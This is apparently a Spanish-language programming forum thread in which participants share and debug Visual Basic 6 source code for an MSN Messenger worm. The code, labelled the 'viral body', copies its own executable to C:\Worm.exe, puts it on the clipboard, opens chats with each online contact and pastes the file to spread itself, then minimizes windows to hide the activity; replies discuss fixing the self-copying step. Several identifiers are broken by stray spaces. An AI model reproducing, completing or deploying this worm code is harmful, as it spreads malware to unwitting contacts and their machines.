Error 91, Variable de tipo Object o la variable del bloque With no está establecida

Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
 Public WithEvents MsgrUIA As MessengerAPI.Messenger
 
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName
End If
MSN.InstantMessage List1
SendKeys (" prueba ")
SendKeys ("{ENTER}")
Next
End Sub

Lo que tu has puesto no serviria ya que lo que el codigo quiere hacer es buscarse a si mismo en version ejecutable y copiarse a una ruta. Sin embargo tu lo que haces es buscar un archivo .rar que no existe.

Option Explicit

' Required data structures
Private Type POINTAPI

x As Long
y As Long
End Type

' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardDa ta Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardDa ta Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFor matAvailable Lib "user32" (ByVal wFormat As Long) As Long

' Other required Win32 APIs
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPIC T = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17

' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDL IST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDL ISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOU RCES As String = "Net Resource"
Private Const CFSTR_FILEDESC RIPTOR As String = "FileGroupDescr iptor"
Private Const CFSTR_FILECONT ENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERG ROUP As String = "PrinterFriendl yName"
Private Const CFSTR_FILENAME MAP As String = "FileNameMap"

' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDAB LE = &H100
Private Const GMEM_NOT_BANKE D = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKE D
Private Const GMEM_VALID_FLA GS = &H7F72
Private Const GMEM_INVALID_H ANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type


Public Function ClipboardCopyF iles(Files() As String) As Boolean

Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long

' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard

' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar

' Allocate and get pointer to global memory,
' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)

' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)

' Copy data to clipboard, and return success.
If SetClipboardDa ta(CF_HDROP, hGlobal) Then
ClipboardCopyF iles = True
End If
End If

' Clean up
Call CloseClipboard
End If

End Function


Y aki el "Cuerpo virico":

Código:

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Const KEYEVENTF_KEYU P = &H2
Const VK_LWIN = &H5B

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
    DoEvents
Loop While t2 > Second(Now)
End Sub

Sub msninfect()
On Error Resume Next
Set w = CreateObject("Messenger.UIAu tomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If (ConTacto.Statu s = 2) Or (ConTacto.Statu s = 10) Or (ConTacto.Statu s = 14) Or (ConTacto.Statu s = 34) Or (ConTacto.Statu s = 50) Or (ConTacto.Statu s = 66) Then
Set iMsn = w.InstantMessa ge(ConTacto.Signi nName)
SendKeys "^V"
End If
Next
Wait (1) ' Esperamos un segundito para no "atascar" tanto...
' A partir de aki sirve para minimizar todas las ventanas...
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYU P, 0)
End Sub

Sub newpropMSN()
Dim ap(0) As String
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Worm.exe" ' Nos Copiamos
ap(0) = "C:\Worm.exe"
If ClipboardCopyF iles(ap) = True Then ' Nos ponemos en el Portapapeles
End If
Wait (1) ' Esperamos 1 respiro al procesador...
msninfect ' Llamamos a la funcion de la propagación
End Sub

FileCopy App.Path & "\" & App.EXEName & "[b].RAR[/b]", "C:\Worm[b].rar[/b]" ' Nos Copiamos
ap(0) = "C:\Worm[b].rar[/b]"